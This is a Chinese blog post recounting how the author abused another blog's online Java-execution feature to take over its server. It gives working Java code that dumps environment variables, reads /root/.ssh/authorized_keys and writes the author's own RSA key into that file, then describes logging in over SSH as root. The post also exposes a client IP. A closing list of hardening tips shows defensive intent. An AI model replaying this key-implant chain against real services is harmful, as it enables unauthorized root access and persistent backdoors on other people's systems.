最近在逛博客时,无意中发现有个博客有一个可以在线执行Java代码的功能,这无疑可能是个非常大的安全隐患(最后再说为啥是可能)

1. 试探性查看环境和权限

                     
/**
 * Description:
 * @author  www.nonelonely.com
 * @version  1.0
 */
public class CommentTest
{
	/*
	这里面的内容全部是多行注释
	Java语言真的很有趣,
	*/
	public static void main(String[] args) 
	{
		//这是一行简单的注释
		//System.out.println("Hello World!");
		System.out.println(System.getenv());
		//System.out.println("这行代码被注释了,将不会被编译、执行!");
	}
}
					 

通过执行System.getenv()获取的环境变量信息如下

{PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/root/bin, HISTCONTROL=ignoredups, LESSOPEN=||/usr/bin/lesspipe.sh %s, SHELL=/bin/bash, HISTSIZE=10000, SSH_TTY=/dev/pts/0, SSH_CLIENT=58.23.17.114 50147 22, TERM=xterm, USER=root, LANG=en_US.UTF-8, XDG_SESSION_ID=1917, SSH_CONNECTION=58.23.17.114 50147 192.168.0.141 22, MAIL=/var/spool/mail/root, HOSTNAME=hecs-x-large-2-linux-20201109135719, LOGNAME=root, XDG_RUNTIME_DIR=/run/user/0, PWD=/usr/local/src, LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=01;05;37;41:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc=01;31:*.arj=01;31:*.taz=01;31:*.lha=01;31:*.lz4=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.tzo=01;31:*.t7z=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.dz=01;31:*.gz=01;31:*.lrz=01;31:*.lz=01;31:*.lzo=01;31:*.xz=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.alz=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.cab=01;31:*.jpg=01;35:*.jpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.webm=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.axv=01;35:*.anx=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=01;36:*.au=01;36:*.flac=01;36:*.mid=01;36:*.midi=01;36:*.mka=01;36:*.mp3=01;36:*.mpc=01;36:*.ogg=01;36:*.ra=01;36:*.wav=01;36:*.axa=01;36:*.oga=01;36:*.spx=01;36:*.xspf=01;36:, HISTTIMEFORMAT=%F %T root , SHLVL=2, HOME=/root, _=/usr/bin/nohup}

2021/01/25/0e9160125021102.png
划重点:pathssh_connection等可以看出当前服务器为linux服务器,从HOSTNAME更可以看出该服务器应该是2020年11月9日才刚刚开始创建。。。怪不得到现在还没发现这个安全隐患,也应该感谢网站的曝光度不是很高吧,或没太多的人发现这个可以在线执行Java的功能。。。
userlogname可以看出当前用户还是root,那么就更好进行下一步操作了!

pwd/usr/local/src应该是当前程序执行的路径
ssh_connection中还发现了22端口,那么接下来剩下知道服务器IP和密码信息了

获取登入密钥

  1. 先看看服务器有没有公钥信息
   
import java.nio.file.Files;
import java.nio.file.Paths;
/**
 * Description:
 * @author  www.nonelonely.com
 * @version  1.0
 */
public class CommentTest
{
	/*
	这里面的内容全部是多行注释
	Java语言真的很有趣,
	*/
	public static void main(String[] args) throws Exception 
	{
		//这是一行简单的注释
		//System.out.println("Hello World!");
		System.out.println(Files.readAllLines(Paths.get("/root/.ssh/authorized_keys")));
		//System.out.println("这行代码被注释了,将不会被编译、执行!");
	}
}
					 

看了之后,发现当前服务器用户并没有用密钥登陆的习惯,那么也进一步说明如果有人用密钥方式登入其服务器,其将更难发现有了陌生人的钥匙,即使如何修改root密码,拿着密钥的人均可以进入

  1. 本地生成密钥对
    2021/01/25/003110125021344.png

2021/01/25/ac7380125021506.png
3. 将公钥信息写入到authorized_keys文件中

import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.Arrays;
/**
 * Description:
 * @author  www.nonelonely.com
 * @version  1.0
 */
public class CommentTest
{
	/*
	这里面的内容全部是多行注释
	Java语言真的很有趣,
	*/
	public static void main(String[] args) throws Exception 
	{
		//这是一行简单的注释
		//System.out.println("Hello World!");
		Path path = Paths.get("/root/.ssh/authorized_keys");
        String str = "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDfTNciCUsphb1ZUtSXvdLP8KN2jB3c9hZArcYkPwGmY3sGMd7cjJSh/f9aUXP4hPHs3P9L/AAFpbSj7w2m5vd+3cYOfymKh3jcmklafNI9mWmqUVQR3IH6bVZ/ccCH9iW4Oa1/1Frqp7oVUNvCQX/7M5gYUGTCH96JPJe9CypjSjRhUblqaIuuaTnqceseU7A8s9ol9hhApcxrp8ZotG7zTwp4IOtrG4l5TtFQJ3XmGJUBsCbTdRGbW4pilGdMQqr9JSH765EMy1JS54dLv6GsvDRuPHJXEZnE7hA1C+hohjRxv1pCmfMPMVZiW3DaX2MeplHySbBsoidY2j5RPGQd root@icell-test";
        Files.write(path, Arrays.asList(str));
        System.out.println(Files.readAllLines(path));
		//System.out.println("这行代码被注释了,将不会被编译、执行!");
	}
}
					 

2021/01/25/009180125020604.png

到此处已经将钥匙配好了,该找到了门,进行开门了

获得IP

  1. Ping一下域名
    ping 域名 得到服务器ip(这里域名在没用cdn的情况下才行)
  2. 看下ssh端口是否可以连接
    2021/01/25/634970125021614.png

登门拜访

2021/01/25/468bf0125022124.png

2021/01/25/64f340125022300.png
2021/01/25/f0b8f0125022301.png
至此已完全拿到root权限,想干啥干啥了(这可是违法的,不能乱来哦)

截止当前时间(2021-01-30 00:26),该网站博主终于把该安全隐患做了一定处理,特此将文章对外开放

如何避免本次安全问题

  1. 尽量不要直接用root用户执行有风险的web程序
  2. 可以使用docker镜像来执行程序,来进一步规避程序直接读取系统信息以及向系统写入信息
  3. 对可执行的代码进行白名单过滤,只允许执行哪一类的代码(不是很好把控建议采用提议1)
  4. 不要使用常用服务的默认端口(22、3306、6379、21、27017等)
  5. 使用ip白名单,不允许任意ip远程连接服务器(但凡是重要系统都是不允许直接接入公网的,即使接入了,也只有指定ip可以接入服务器)
  6. 关注云服务报警,一般非常用ip登入服务器,云服务提供商会有短信和邮件预警,一旦收到这些通知,一定要尽快处理(建议使用腾讯的企业邮箱或qq邮箱,这样微信或qq可以及时进行邮件提醒,可将所有的其他邮箱的邮件都设置转发到你的qq邮箱中,这样就无需登录每个邮箱,及时收取到任何邮箱的邮件信息了)
  7. /root/.ssh/authorized_keys 文件只设置只读权限,不允许有写入权限,想添加公钥信息,先手动添加写权限,添加后移除写权限
  8. 在服务器中加入/root/.ssh/authorized_keys 文件监控(crontab + mail),检测到有修改就立即邮件通知

Q.E.D.


寻门而入,破门而出